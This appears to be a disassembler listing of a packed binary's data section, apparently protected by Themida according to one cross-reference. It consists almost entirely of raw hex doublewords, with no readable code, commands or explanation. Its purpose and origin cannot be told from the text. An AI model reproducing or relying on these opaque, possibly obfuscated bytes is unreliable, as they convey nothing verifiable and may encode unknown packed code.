		dd 426D6254h, 0E260516Dh, 2E8CA372h, 7B48DFBEh,	0A193B7D2h
		dd 77121h, 0C4349200h, 0F7F0231h, 0CC3CB966h, 676FA29h
		dd 0D242C06Fh, 6C276443h, 28F79E0Eh, 71BE57C7h,	5DD2A313h
		dd 3C876EDEh, 0E16EB312h, 8C0D169Dh, 56C624B0h,	0A31370BFh
		dd 0C72466D2h, 0F1525F57h, 9BD0F481h, 0EC000002h, 6DDD624Fh
		dd 0FCB65429h, 93320C3Ch, 16A1F9B0h, 9DC47F5Dh,	0FE169DFAh
		dd 9DFA0247h, 68D8E916h, 3203B357h, 0FA5C8104h,	6E29169Dh
		dd 229F0A3Fh, 0F23F9DC3h, 82411D8Dh, 169DF65Fh,	0BD5D0D1Eh
		dd 226h, 3F62E1FBh, 0BE169DF6h,	4F15FDEDh, 558C488Dh, 5BCDD821h
		dd 8609A7EAh, 0CB3BB910h, 7D4EF2CBh, 9E42E8Dh, 0EF8F1086h
		dd 0B249FBFh, 0A16A102h, 0AF0C2539h, 6AC9563Fh,	0E1D2BCFAh
		dd 0A01AF060h, 85AEB0E0h, 8D82B424h, 0F1CF12B1h, 9DAE169Ah
		dd 607567EDh, 0DA0DF2E0h, 1A8961D2h, 10870566h,	2A47D6E7h
		dd 35B1B95Ch, 678C33Fh,	2B8B0000h, 0E445DABBh, 3392A174h
		dd 7BFD32C3h, 35B56A0Bh, 307B30C5h, 0E88DFD7Dh,	0B144B43Bh
		dd 3920282h, 0B65FCF2Ch, 5F82410Dh, 1E169DE6h, 0C724DF5Dh
		dd 0EE558757h, 1086F2ABh, 53C32552h, 79456A63h,	86F287CAh
		dd 0B5556610h, 99096A77h, 0B828849Dh, 9606657Eh, 4B7227A0h
		dd 15C8F198h, 0B669F8DDh, 0A8A30D44h, 82F251C2h, 683BBEF3h
		dd 43C197A8h, 0D5000001h, 5F57C724h, 0F481F152h, 79E9496Ah
		dd 27572791h, 0FB74AC17h, 28F9169Bh, 0FB4687EEh, 882F1693h
		dd 2789F455h, 420F9DBDh, 4D000000h, 731787E4h, 0DB0BABBFh
		dd 0F5F04003h, 62B169Bh, 1E0036A6h, 93F162A7h, 17380916h
		dd 0D7564373h, 715E2F67h, 647E5745h, 86EA4598h,	0D3FAA941h
		dd 9C169362h, 0FA7FCAF5h, 829DBDA9h, 0B5h, 0E0624F96h
		dd 1A999A70h, 0F3776CAAh, 1D9E9383h, 0F2C009BCh, 41421086h
		dd 0BB4DE8ECh, 0F8D7E858h, 0DE46A5BEh, 0A4D9CFC8h, 2F9F230Ah
		dd 163916E7h, 0DB65427Fh, 4671087h, 0B98DCA94h,	797A4CD4h
		dd 0C108BB83h, 0AC1087B4h, 16A4EF9Bh, 992C3262h, 169FDC7Bh
		dd 42D3102h, 5B7E45A6h,	22169E1Ch, 0C8573E11h, 23FA6Ah
		dd 63B7D262h, 524F151h,	5FDF0000h, 981906EFh, 57D64D28h
		dd 9F210EE7h, 59D9462Fh, 1C8F0CE9h, 0E4B121A1h,	9D78E84Fh
		dd 0DFB62686h, 0F283F350h, 346FDE1h, 0EA169DE7h, 0C6241329h
		dd 644BBB3Ah, 0B921A291h, 8CD1E55Ah, 6D082725h,	0CA864FBFh
		dd 3ABFEBEDh, 44A76406h, 72D1E2D4h, 0A3223C02h,	1086B57Eh
		dd 2F3E2CFDh, 3191h, 624FA500h,	999A70E0h, 9F94AA1Ah, 936CAA1Ah
		dd 0C7243DF7h, 68CF5F57h, 81F15275h, 2BD0F4h, 0D00E0000h
		dd 86F22C75h, 0B5FECF10h, 0FCD1C535h, 0C724260Eh, 0C82A8757h
		dd 66D65B58h, 81AB5F30h, 86F2DA02h, 5C832E10h, 0FD98086Bh
		dd 57C7242Fh, 0F525D95Fh, 0F969C8E9h, 44114B11h, 0DA246B81h
		dd 0CB75382h, 16A1493Fh, 0EF28753Eh, 6C54D58Bh,	0AC451D4Bh
		dd 0ECC3827Ah, 0F262E1D2h, 0F161C7ECh, 7D07A19h, 950E11AFh
		dd 0BA0B2CDAh, 0CFFD51D0h, 42C17218h, 0A256E4D2h, 0A7D96C72h
		dd 2610BA00h, 8BE84915h, 46A57A1Bh, 0A65AE0D6h,	0B1DD6876h
		dd 341AAB03h, 3F719A63h, 0F6AB9Fh, 40184h, 14840200h, 0DF4FB281h
		dd 1C8CE936h, 0D646AA79h, 2292F03Fh, 5C575453h,	98876EDEh
		dd 61CEA717h, 8DA273E3h, 0ECD7BE2Eh, 0E43E63E2h, 3CBD169Dh
		dd 57C72400h, 0A21271BEh, 8CFC7F74h, 716BEF8Ah,	86F28FD2h
		dd 0AD5D6E10h, 8FECDB02h, 0F272972Eh, 0CF91086h, 4F93DADh
		dd 4471042Bh, 97A819B9h, 493Fh,	0B4347D00h, 7857C728h
		dd 624FAA92h, 137D6DDDh, 22921763h, 2A341BF4h, 5238A809h
		dd 41F6390Ch, 0A475169Ch, 0AB1B999Ah, 0BDA0E7CAh, 0F0E51693h
		dd 0E8E106FCh, 0B25F0B1Bh, 1F14E151h, 89E92D9Dh, 35Ah
		dd 9D0D72BFh, 0C72445EDh, 0F1525F57h, 0F2C6F481h, 1149FCC2h
		dd 0DC169BFBh, 3ABEF3CBh, 0A465EDCAh, 27C69E48h, 236AC943h
		dd 0CC169304h, 6ACF7A65h, 0F29DBE14h, 20h, 0DB0BABC6h
		dd 0F5F04003h
		dd 0BC8D169Bh, 0F1D2FB7Ah, 0F49B1693h, 1CFD80C9h, 0E3839DBDh
		dd 97000000h, 0BA3BC724h, 585ECE2Eh, 714E4867h,	3D76585Eh
		dd 0E3464DBDh, 0A04A4373h, 979F0F73h, 0CB36A0B5h, 0DBEC44B7h
		dd 1181022Fh, 3FAF0C25h, 261C5B56h, 0AD0E1086h,	0BDF6583Dh
		dd 0EF1CCE3Eh, 901A1C8Ch, 0D646A4F0h, 0FEC0EFE0h, 9B21E747h
		dd 1C48616h, 169325D8h,	0D8BD92A3h, 5DBE3D76h, 9325A3E6h
		dd 56794A16h, 806ADA5Dh, 2836661Ah, 8B4A759Dh, 1D9D9610h
		dd 0CA9469ADh, 0AB70D6FBh, 0E684951Ch, 0FFDDE1B2h, 5A65BBD6h
		dd 0E2880E19h, 9461D131h, 0E83194CAh, 931CABFDh, 0C72BE882h
		dd 4187C657h, 0E2D4B1BEh, 25962h, 0DC4CAA00h, 1787EA39h
		dd 0E454B17Eh, 2E9E2211h, 0EA5AD847h, 0A41F8C0Bh, 0F03FD646h
		dd 0A9761F8Fh, 0E53ADB4Bh, 547F1686h, 0EA96BB8Ah, 9455169Dh
		dd 56C624A8h, 0A31370BFh, 0BAB66D2h, 0F04003DBh, 8D169BF5h
		dd 0D2FB7ABCh, 9B1693F1h, 829C9F4h, 3FC3AAAh, 0F141883Bh
		dd 1B2C1693h, 1CB9446Fh, 903F9DBDh, 5B000000h, 475FC724h
		dd 0F7746691h, 5F54426Dh, 0C82B6BDBh, 108639ABh, 0E8F666C5h
		dd 13F767CBh, 0D848AB78h, 7CAC4CDEh, 80C97C62h,	6B108621h
		dd 17AEB05Ah, 169B2717h, 4A700516h, 0CD784676h,	108B4F6Ah
		dd 0D263809h, 0CB583DADh, 0E126F767h, 7EB1BDD1h, 19CFC78h
		dd 7670000h, 0D031FE97h, 1F9E9560h, 0D759C6AFh,	21A18E67h
		dd 0C4C7E4B1h, 1CF969C9h, 6530A007h, 17FE6ECEh,	5A3BAB08h
		dd 0BBDE6569h, 42169DEBh, 0C6247BC1h, 1370BF56h, 2466D2A3h
		dd 525F57C7h, 950565F1h, 3392ACA1h, 1086F2EEh, 0CB93BC8Dh
		dd 0F2EF3291h, 0BD8E1086h, 979CBECDh, 4AC7A313h, 0AB3D79E9h
		dd 4003DB0Bh, 169C0AECh, 8F76A071h, 1A3BB726h, 0F8063267h
		dd 58D9B11Ch, 0C08A6BDBh, 0DC05C09Eh, 9F1693D3h, 0D3F2178Eh
		dd 0A8791693h, 0F828D8C2h, 39BBF8E6h, 0D3246DD8h, 0F6C71693h
		dd 0B3E0DDD9h, 902BDF4Fh, 1089298Ch, 0FDF620F1h, 1B080E7Eh
		dd 0F5EE2898h, 0A0100676h, 733DA619h, 0E98DC1ECh, 0CAD4FDC8h
		dd 86971CACh, 2E2E95A9h, 4F1AB630h, 2B88977Eh, 6667BBBh
		dd 0F4A5A096h, 0F17DFEC9h, 680D2292h, 704E7E42h, 0A34579D5h
		dd 132BFC04h, 0B2C9C1Eh, 0CAE80741h, 52FDBF8h, 171F8FECh
		dd 0C426D1Ch, 0A3223C6Ch, 0EC8CF8Bh, 0AC1C9D8Ah, 4B68F283h
		dd 334076E6h, 9A705FCFh, 2E306020h, 0C8245997h,	52B3E008h
		dd 3C9CDE2h, 16276AD9h,	0F5C63402h, 27971415h, 0F262E14Eh
		dd 3A0141C4h, 65CC5DC3h, 7EEE4D7Ah, 57A57760h, 0A7EF5FE0h
		dd 39E201D6h, 0FF75ECC9h, 6D42B25Bh, 0C241EE7Dh, 9BFE261h
		dd 6D3E9DC3h, 165B7C42h, 0E2CE9578h, 9A878565h,	9570A616h
		dd 0AD0EB924h, 68CB583Dh, 1336BEF8h, 52000000h,	93686D2Fh
		dd 81993AF0h, 0C9122C10h, 4A6273EEh, 0CA247CA0h, 0E4475C5Ah
		dd 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h, 0D65A474Fh
		dd 0C2433066h, 0EA4F6452h, 68783C7Ah, 2B71h, 89241C89h
		dd 4C381E3h, 83000000h,	1C8704EBh, 89535C24h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 241C895Ch, 5E08950h, 4
		dd 8704E883h, 895C2404h, 0B951240Ch, 30A35AAEh,	787AC181h
		dd 0E9D16A8Ah, 1E981h, 81490000h, 0E349C6E1h, 0EE98155h
		dd 893F6741h, 8B5459CBh, 0C483240Ch, 8B85004h, 1000000h
		dd 8B1889C8h, 0C4812404h, 4, 53240C8Bh,	0C381E389h, 4
		dd 8704C383h, 0FF5C241Ch, 815B2434h, 4C4h, 62B0E900h, 52F5FFFAh
		dd 84E733E6h, 0B1AB373Ch, 0B8B6E1EFh, 61B1B04h,	0E0FFC503h
		dd 14A509ADh, 2D93A484h, 5E510742h, 8981AA5h, 2B8EC4CCh
		dd 59F4736Eh, 79C85794h, 73A12653h, 8314C1Eh, 2D75C310h
		dd 1C7F8D8Dh, 0C38B061Bh, 27218D89h, 9D890615h,	6151291h
		dd 4CD85C7h, 61840615h,	8E90000h, 6E000000h, 93E90141h
		dd 0C773CD3Ah, 15111585h, 6, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 18EC8004h
		dd 6C98D89h, 9D030615h,	61523EDh, 2D19B5FFh, 9D8B0615h
		dd 6152349h, 2C995FFh, 6A0615h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0B5B91CC3h, 0BF661377h
		dd 6AF57929h, 2195FF00h
		db 2Eh,	15h
word_5DB6AE	dw 8B06h		; DATA XREF: Themida_:0057A0F8o
		dd 204FEBC0h, 30E42EC4h, 33531708h, 0D74365A2h,	13ECE49Ah
		dd 1BDD7C19h, 5A228F3Fh, 9E14ADA9h, 29176EA1h, 0DD507A17h
		dd 293FA587h, 0FD426C8Fh, 0ECCC53Eh, 2B0C1371h,	0D60993A6h
		dd 0E5A30067h, 5973F92Bh, 0E41E7FF5h, 122F3220h, 0BBDC62A0h
		dd 0BE8481Eh, 8000000h,	0BCFE3CFDh, 705EDA20h, 815AC1CDh
		dd 4E9777EFh, 87C2817Eh, 0F000072h, 0C02BDFBFh,	3C7276BFh
		dd 20C8B66h, 32DB8166h,	28C181D1h, 0F5F1E47h, 48Ah, 74BB6600h
		dd 55E98198h, 803353E4h, 0F18194E3h, 17C1637Bh,	0BDEF8166h
		dd 20C8983h, 0B858D89h,	0E3800615h, 4E88328h, 23359D89h
		dd 0F8810615h, 0FFFF8DECh, 0FFB3850Fh, 8956FFFFh, 15309585h
		dd 12E85B06h, 8D000000h, 0B2BF0AB3h, 7968C512h,	88EA5051h
		dd 997960E0h, 0CFB70FA4h, 0EFC7815Fh, 81000069h, 0A5047ED3h
		dd 6839h, 0DE90000h, 1C000000h,	0C3AEDC07h, 0C3FECD07h
		dd 0E9764C57h, 6E95Eh, 78560000h, 7E4054B6h, 0F37048Bh
		dd 0E881D9B7h, 70D0615h, 2A45958Bh, 0C0810615h,	3B21F0A8h
		dd 40C081F5h, 0F7F6371h, 150D0B7h, 1528C195h, 37048F06h
		dd 83D98B66h, 0CE8B04EEh, 9698FE81h, 850FFFFFh,	0FFFFFFC0h
		dd 233D958Bh, 8D8D0615h, 61B1EC7h, 89F1B70Fh, 1527218Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 4BD77AFCh, 6DB7177Ch, 8B663809h,	0CD85C7D0h
		dd 84061504h, 6A000071h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0F48C353h, 0BD8BD8B7h
		dd 6152D29h, 111585C7h,	615h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0D15C4AC3h
		dd 97BAF70Fh, 0B5FFC8E2h, 6150009h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0D8C35343h,	0FFFE8B66h, 1502C995h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 1EBE4B53h, 6A4D5087h, 2195FF00h,	8B06152Eh
		dd 0C34DEBC0h, 7C15CAC3h, 1A732439h, 6ED6AE59h,	0FC1E07BEh
		dd 8FDCF62Bh, 0C16BDE79h, 5E3289A5h, 6EF3E258h,	80B7D4B1h
		dd 0F5B4E4A2h, 3A01806Ch, 401FDA83h, 56182393h,	0AC80E1D1h
		dd 0DAA5C844h, 3CFA52A1h, 8C1E172Dh, 1F41A496h,	73B59DA1h
		dd 97E9h, 0AA57D400h, 0F5CC4719h, 0D138F3BAh, 0ABAFD666h
		dd 4DB2979Fh, 95B7E37Ch, 0A9E57200h, 0B69CB5E9h, 0F377609Bh
		dd 0B794A9B6h, 60D7609Eh, 0A9BD897Dh, 9EBD8C9Eh, 95ACE372h
		dd 0B98B204Ah, 89937E9Bh, 0F496B99Dh, 0A19E96AFh, 0A7D6B594h
		dd 0D100FD91h, 594ACC48h, 713C33h, 57DB4D52h, 0B6005EF3h
		dd 899DBBEFh, 899500BDh, 0BBEFB69Fh, 0B6D00097h, 7155C3B1h
		dd 0A4370052h, 10D3C20Dh, 0E09h, 6 dup(0)
		dd 101AE9h, 21726800h, 8FE9061Bh, 68FFFA5Eh, 61B225Eh
		dd 0FA5E85E9h, 235968FFh, 7BE9061Bh, 68FFFA5Eh,	61B24F7h
		dd 0FA5E71E9h, 258968FFh, 67E9061Bh, 68FFFA5Eh,	61B262Ah
		dd 0FA5E5DE9h, 26C268FFh, 53E9061Bh, 68FFFA5Eh,	61B276Dh
		dd 0FA5E49E9h, 282668FFh, 3FE9061Bh, 68FFFA5Eh,	61B2903h
		dd 0FA5E35E9h, 29D268FFh, 2BE9061Bh, 68FFFA5Eh,	61B2B16h
		dd 0FA5E21E9h, 2D5A68FFh, 17E9061Bh, 68FFFA5Eh,	61B2E55h
		dd 0FA5E0DE9h, 9C0C6AFFh, 57C72AF9h, 0A41471BEh, 6EDE62D1h
		dd 0AA1A9887h, 0E4DFCCCBh, 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh
		dd 943FD646h, 0D2D6FBCAh, 0D495169Dh, 57C72468h, 81F1525Fh
		dd 0FD249FBDh, 0F31086F2h, 251A1C8Ch, 0B5C0AA7Bh, 3D013105h
		dd 9BFB5286h, 20A3B916h, 1693FBF9h, 824BEB1Bh, 5FC11EE0h
		dd 2BFC9C4Eh, 0B41021EBh, 79E94F44h, 0FBAA403Dh, 169354D2h
		dd 80C9F49Bh, 9DBDC3FDh, 3383h,	864F9700h, 8AD3D9D2h, 57412980h
		dd 0DC6777A7h, 169BF85Ch, 0C434B4E1h, 548ABEBh,	0F21693E3h
		dd 4CB19847h, 0EE9DBD2Bh, 0BEF868C5h, 0B3F929C1h, 0D000000h
		dd 5F57C724h, 9680F052h, 68AE1E9Dh, 0CD2E8DA6h,	86F2D3F6h
		dd 0A6899A10h, 3EEB9F70h, 0D0575CBDh, 0EC593660h, 1086F2A5h
		dd 0BD587748h, 86F7FAF8h, 575F610h, 0D040C370h,	7CA454E6h
		dd 0B1040FA1h, 0FBC3ECEAh, 9CD28048h, 825C6D16h, 585ECE31h
		dd 0C2E88367h, 55F0CEFEh, 108B76EAh, 8DA6B889h,	4BD8BD2Dh
		dd 0FC057FE7h, 4AC7D3A4h, 6D7F9865h, 5660B1BDh,	0DBAEEh
		dd 0A8189600h, 63D356CDh, 0B0209D92h, 7AEA4EE5h, 0B626849Bh
		dd 0D0C3C8DFh, 0BC730272h, 0F52ACB3Bh, 0C16E0777h, 9043D242h
		dd 0D3D2F7CEh, 0D899169Dh, 56C62464h, 0A31370BFh, 0BAB66D2h
		dd 0D8D903DBh, 0A4FFEB5Bh, 169BF594h, 1686EA47h, 5B3B2F20h
		dd 0A4E94C4Ah, 511693F1h, 0E752F7E6h, 6D9DBD1Ch, 0C2h
		dd 57C72449h, 59C92A87h, 989983B1h, 46C3A717h, 0B9FC7CE4h
		dd 0EC9D49B1h, 0CC09D3C3h, 774A67BBh, 0C1DC8EDEh, 108614B3h
		dd 27CE3EBDh, 0B0B7BF8h, 1F8FF041h, 4E442617h, 7A647AAAh
		dd 4A4CBC39h, 73C3307Dh, 86A94C0Ah, 7411B9E4h, 0CBDC169Ch
		dd 8CBC7C2Ah, 1C4713B2h, 6D36108Bh, 0C5EF83DCh,	3158EB71h
		dd 0BC1CABBCh, 0D3EBC4EBh, 9EC5CDEh, 3A30981Ah,	3939A321h
		dd 83AC1C9Ch, 8232D1ACh, 4331B1BDh, 0CCEBFh, 94048200h
		dd 5FCF3201h, 9C0C69B6h, 56C62AF9h, 0A21270BFh,	0DCD7D4D3h
		dd 1807EE5Eh, 0E14E2797h, 0D22F363h, 6C573EAEh,	0D0BEE362h
		dd 0BC3D169Dh, 56C62480h, 0A31370BFh, 0C72466D2h, 0C52BB73Bh
		dd 436C6155h, 89557A53h, 0F2A9F053h, 43541086h,	0BD9F6DA7h
		dd 86F2C306h, 0F199AA10h, 0C253C340h, 76A0106Dh, 0E78EFE7Dh
		dd 0D2A64BC6h, 21299CA2h, 4C169BFBh, 3879637Bh,	724B4BBBh
		dd 93F88ED3h, 0C5406D16h, 0B8397A55h, 0E9DCA248h, 0E0429A5h
		dd 0FE6ECDE6h, 0B1D2A60Ch, 19C9CF12h, 0BA9DAEEDh, 413CD3EDh
		dd 0EBF3DC18h, 3B68C58h, 160011EBh, 9AA4D4A4h, 2BA23E2Bh
		dd 0DB01DB15h, 4BCB2168h, 4AFBCC19h, 194BCB07h,	7002D5E6h
		dd 0CD843996h, 7A4B6B1Fh, 0BB397A64h, 98724B4Bh, 318C189Bh
		dd 4307EEC1h, 2A67AA19h, 3506194Bh, 0E757D455h,	1D6D7516h
		dd 8004F2B4h, 0BD3h, 491017Dh, 0BB5ACA2Fh, 0FC990964h
		dd 0C451C127h, 0FA9B0B6Fh, 4FB3EE9Dh, 86E936DFh, 54B07F16h
		dd 0A12211E4h, 6B736431h, 9DD1B1D8h, 81BB3C16h,	5F57C724h
		dd 0E9F525D9h, 9C0A265Ah, 8BEC4516h, 2D9D181Bh,	427614E9h
		dd 4A65D555h, 0B3BFBABh, 90332933h, 1693E549h, 1C876334h
		dd 10893744h, 0F1E6F8C9h, 13B01F0Dh, 5ED8B234h,	0ACBBB6D7h
		dd 0DC4CA81Ch, 0F868C9DAh, 14BB22BEh, 9B45BCFh,	0D262BD40h
		dd 0FA785DA3h, 0FADDB322h, 5DA69674h, 82000000h, 6FDF624Fh
		dd 0B258C824h, 36083808h, 0B1080A21h, 9919229Eh, 8D380629h
		dd 1086F844h, 0E2741627h, 9C4BD863h, 0CB2A5716h, 4D625B5Bh
		dd 54C44071h, 0ABDF04C1h, 0F73C1693h, 3D120474h, 0EF5FDC4Dh
		dd 13360DCFh, 0DA1693ABh, 0DD5221C9h, 4BA7EF5Fh, 0AEBh
		dd 5FCF3081h, 90846657h, 3EBF0BABh, 0D8F7C8CEh,	11E93F06h
		dd 0C90E16A2h, 0AB1A88F8h, 169D4766h, 31233405h, 0E6DAB08Eh
		dd 0DED309D5h, 5E15F159h, 1CC189B8h, 59DA5733h,	94170CE9h
		dd 0FE45AF2Ch, 0C7E8DFB1h, 659569CFh, 0F3C5EA59h, 536410B9h
		dd 0AFF2518Bh, 4E1CB1F3h, 0F390B98Ch, 4A5B1CB1h, 0ADAF8565h
		dd 306B9DA8h, 0D68A421h, 8BA4999Dh, 21708CACh, 8169EFCAh
		dd 32C33390h, 36A60B28h, 0E454D754h, 0EFEBECB2h, 0BF5CBE66h
		dd 0CB6B25C5h, 0AB040CA3h, 8AA5CA1Eh, 2689AAB4h, 0A5E9D4B6h
		dd 0E61AABF0h, 0BFF6FCDh, 4C039AABh, 0FAB9E42h,	0A359D25h
		dd 9B1B0000h, 54D54A2Bh, 0A32211E4h, 6BCD6233h,	0A5051AFBh
		dd 404B6035h, 987DED4Dh, 0E1B4248Bh, 0F382F252h, 0A64FBF3Ch
		dd 4F92311Dh, 2E169DD6h, 97B6CF6Dh, 501086F2h, 7BE80B0h
		dd 16A211A8h, 0ED5DE2CFh, 0E3FBD4A9h, 4AF9E3F9h, 169DD207h
		dd 2970D5E6h, 0D4169DD2h, 89EA27C3h, 0E1D27C19h, 0C8C5F161h
		dd 0D20A4FF6h, 20F1169Dh, 0DE6AC94Ah, 0DBACEA5Ah, 4A238D84h
		dd 0E9C6E987h, 4B7B3BADh, 0AC98D073h, 54651087h, 0BA8808C9h
		dd 0D55D57B1h, 9A3h, 14E151ADh,	4B2A9A1Fh, 0CE959D4h, 54219117h
		dd 0AEB5BDFh, 1FA31E8Dh, 0D659C6AFh, 24A08F66h,	0F152E1B4h
		dd 0FBE3F481h, 9DD70148h, 112BEC16h, 6DDD624Fh,	0BF2F8C7Dh
		dd 7D096A77h, 1EA39000h, 0A69581AEh, 6152A00Fh,	117C6EDEh
		dd 97A81EACh, 49F34h, 1F2D2A00h, 9E37AE7Fh, 0AB38DC8Eh
		dd 4003DB0Bh, 16A21147h, 0F8390516h, 0E06A0B7Bh, 5B7F7CF7h
		dd 3AD0A2D1h, 8AEE7AF9h, 8201351Ah, 169D085Bh, 97186414h
		dd 8F360827h, 1087F05Bh, 676F522h, 338D5429h, 0E0D6B1BAh
		dd 90264h, 80F04E00h, 4BBB3EF5h, 88F875AAh, 42B236EDh
		dd 8EFE7CB3h, 0C8FBB0E7h, 41BFA6Ah, 0CD6233A3h,	916FF6Fh
		dd 685B3AAAh, 0D4BADF66h, 0C041169Dh, 57C7247Ch, 0B3347D5Fh
		dd 96AA743h, 278E9D99h,	7BF93AB8h, 58320B0Bh, 0A81DD05Dh
		dd 4025897h, 0B6340000h, 1086F297h, 0BE80B050h,	76AF675h
		dd 81AE9F97h, 8CD2B895h, 90B98C52h, 5B1086F2h, 7405A04Ah
		dd 716A211h, 0A80B2836h, 65C65D38h, 8737C1F5h, 84BC8757h
		dd 4910872Ah, 0DD8A578h, 0A58FB1BBh, 86A1Dh, 1888E600h
		dd 0D343A67Dh, 2090ED42h, 0EA5ADE55h, 2696140Bh, 6053584Fh
		dd 8CA372E2h, 45DABB2Bh, 919E77E7h, 0A033C232h,	0D4C207BEh
		dd 0E8A9169Dh, 57C72454h, 81F1525Fh, 7FB4A695h,	0B3DE8CFCh
		dd 1DB03D0Ch, 713897A8h, 76000003h, 9C4EBE3Dh, 0F29DB678h
		dd 0B9FA1086h, 0FFD0C636h, 0A1D1A50Bh, 1172269Dh, 2AFB16A2h
		dd 0D174314h, 0A19C2496h, 969DB222h, 71C3A717h,	0C253C340h
		dd 0C09E0E6Dh, 989E0E73h, 0DF49C3A7h, 477F71Fh,	322A9B56h
		dd 0CE82411Dh, 2D108007h, 0FF37A704h, 6B3C5C0Eh, 0BA733392h
		dd 268EA8B1h, 7BFh, 30C53591h, 670E7E03h, 28CD3DB8h, 700575FBh
		dd 26CF3FC3h, 23873A71h, 0EA4DE2B3h, 28849B7Ah,	0E546DDB8h
		dd 2737A075h, 9DD5759Ch, 0C577F816h, 0B83BC724h, 422F6748h
		dd 0A26551C1h, 302EC4EBh, 86F24C95h, 6C1E2F10h
		dd 68DB3CBFh, 1086F221h, 41D4FBCCh, 0A81A0974h,	0C8F97h
		dd 64CD0000h, 43F79303h, 2A7B5h, 9DB6D100h, 561086F2h
		dd 65D556A2h, 0B93F744Ah, 6E704D49h, 86F2B2D7h,	82683910h
		dd 115809BCh, 122316A2h, 1484E74Ch, 0E151B281h,	69CAE7B5h
		dd 0D7A711F9h, 7DB9298Bh, 0B8970764h, 44FCC797h, 91080D5h
		dd 43FC6538h, 0D1E3B1BBh, 70671h, 7CEC4A00h, 0B7278A99h
		dd 84F451DEh, 4EBE42F1h, 8AFA78A7h, 0C4FFACEBh,	101FF666h
		dd 0C9563FAFh, 51AFB6Bh, 745F36A6h, 0DAB6DB6Ah,	0B435169Dh
		dd 57C72488h, 81F1525Fh, 14BBF295h, 15E050B3h, 630C49h
		dd 7DEAE02h, 0C52863h, 1C4B97A9h, 81000000h, 5516B054h
		dd 55B00D31h, 0F3DCB1E5h, 0F1B52317h, 0F3000001h, 0C9CD3DBEh
		dd 0B61E16F4h, 1086F29Ch, 6777A757h, 0A21136DCh, 0D8E6B716h
		dd 0D21A3F06h, 0B4E1169Dh, 2E8C737h, 893C223Ch,	169DD240h
		dd 9C191A2Bh, 7515EA2Ch, 2EC737B4h, 24128201h, 0ACB2E296h
		dd 70ABACB2h, 0CA44D745h, 21A7EA5Bh, 7546169Dh,	26722695h
		dd 0C3991080h, 0B625D900h, 5E83421Ch, 1D1CB625h, 0E783940Ch
		dd 0AC17E6B7h, 37B1BA90h, 629B53Dh, 0C7270000h,	1071BE57h
		dd 0DF5ED5A0h, 1799866Fh, 0E161CEA7h, 8407A471h, 5C39A909h
		dd 25F060C7h, 573EAE0Eh, 1AFB6BC8h, 0FB1EA5A9h,	82169DDBh
		dd 0C7243B01h, 0F1525F57h, 1F9C9581h, 0D4C23293h, 0D1E2D4FBh
		dd 0B5120474h, 5F0AD904h, 0C3408736h, 0C4268B53h, 7D6D6254h
		dd 1A36C3EEh, 19BE97A8h, 0FC000000h, 0FE3E63E2h, 0FBBD1086h
		dd 86FE0148h, 0F4DBEC10h, 1B51E16h, 0D1000001h,	86F29CB6h
		dd 77A75710h, 113EDC67h, 0EEBF16A2h, 0F060E3D0h, 21AD0E25h
		dd 1EE72F9Fh, 7766EBC7h, 6E416E7Eh, 0ED4D6628h,	0A644397Dh
		dd 421C4CECh, 5E83421Ch, 1D169D71h, 7170990Ch, 2AFB169Dh
		dd 9347FE40h, 5A108076h, 0E23FB449h, 8EA8B1BAh,	55A26h
		dd 878F600h, 0C333B66Dh, 1080FD32h, 0DA4AAE85h,	1686E43Bh
		dd 3063287Fh, 9C9362D2h, 55CAAB1Bh, 0A18E67D7h,	0F0E3B222h
		dd 0DB3257EEh, 38B9169Dh, 57C72404h, 81F1525Fh,	0AC1C9C95h
		dd 6EFA796Ah, 0A29B9B0Bh, 8E15898Dh, 6C25C41Fh,	0C4258641h
		dd 86F2D801h, 0BD92A310h, 1A60CDD8h, 0B10297A8h, 0E7D8DE4Eh
		dd 0DBDB4BACh, 141C08E2h, 0F0000000h, 37B5h, 3DBEF300h
		dd 0F52F1CDh, 0EE1086F2h, 24052DDDh, 525F57C7h,	199581F1h
		dd 575FA37h, 0FC3AAA0Eh, 7D306703h, 9C79E94Ah, 0F019ACB2h
		dd 7B1086F2h, 19E4C0AAh, 0B8000000h, 5F57C724h,	86F2B8E4h
		dd 7669D010h, 43B3377Ch, 0A3907A53h, 57E5B020h,	5F57C724h
		dd 56D925D9h, 0D6F969CAh, 0FEC0EFE0h, 0A211F147h, 97A77816h
		dd 0A50590C5h, 0A5D10FA8h, 9D2EFB1Eh, 9EB18216h, 0B4AA0B9h
		dd 8F7BD7E4h, 0E4B121A2h, 3A7CEC4Fh, 0DEE010B0h, 0DE4EB300h
		dd 8E252D5h, 0B9CA169Dh, 3A041510h, 39A90F24h, 0F363E051h
		dd 508AEAEBh, 335FBC23h, 84E73C57h, 0E8982214h,	0FF1FA6B8h
		dd 7E1AAA6Bh, 8BC009BCh, 9AAB02CDh, 0EF5DE8B5h,	787EAB9Fh
		dd 416FCh, 4CBC3A00h, 87F77AA9h, 54C441EEh, 9E0E72C1h
		dd 5ACA28F7h, 0F4AFDCBBh, 0C06F0676h, 0F926CF3Fh, 0B56A0B7Bh
		dd 0A42FC636h, 0D9C60BBAh, 0E4A5169Dh, 3BC72458h, 0EB4D46B6h
		dd 6D423B7Bh, 0A8189B88h, 86F6756Eh, 9420A390h,	9C71A515h
		dd 96E83B3h, 0B3DA9D99h, 7B32D70Ch, 0A0107354h,	1A5DE0D5h
		dd 43E397A8h, 0B7000000h, 3DB0BABh, 9C41FF40h, 91AD7E16h
		dd 1B9824A0h, 0BD926BABh, 0BDB6DDD8h, 4BA81693h, 0BF7338E3h
		dd 1B346DEDh, 0D747A57Ah, 38163DFh, 7C590000h, 71CC65BDh
		dd 0A99E3601h, 1B002037h, 0B8C46DADh, 0BAB6AD2h, 444003DBh
		dd 19169C1Ah, 5B7E4517h, 221693DAh, 0DA6DB411h,	3F101693h
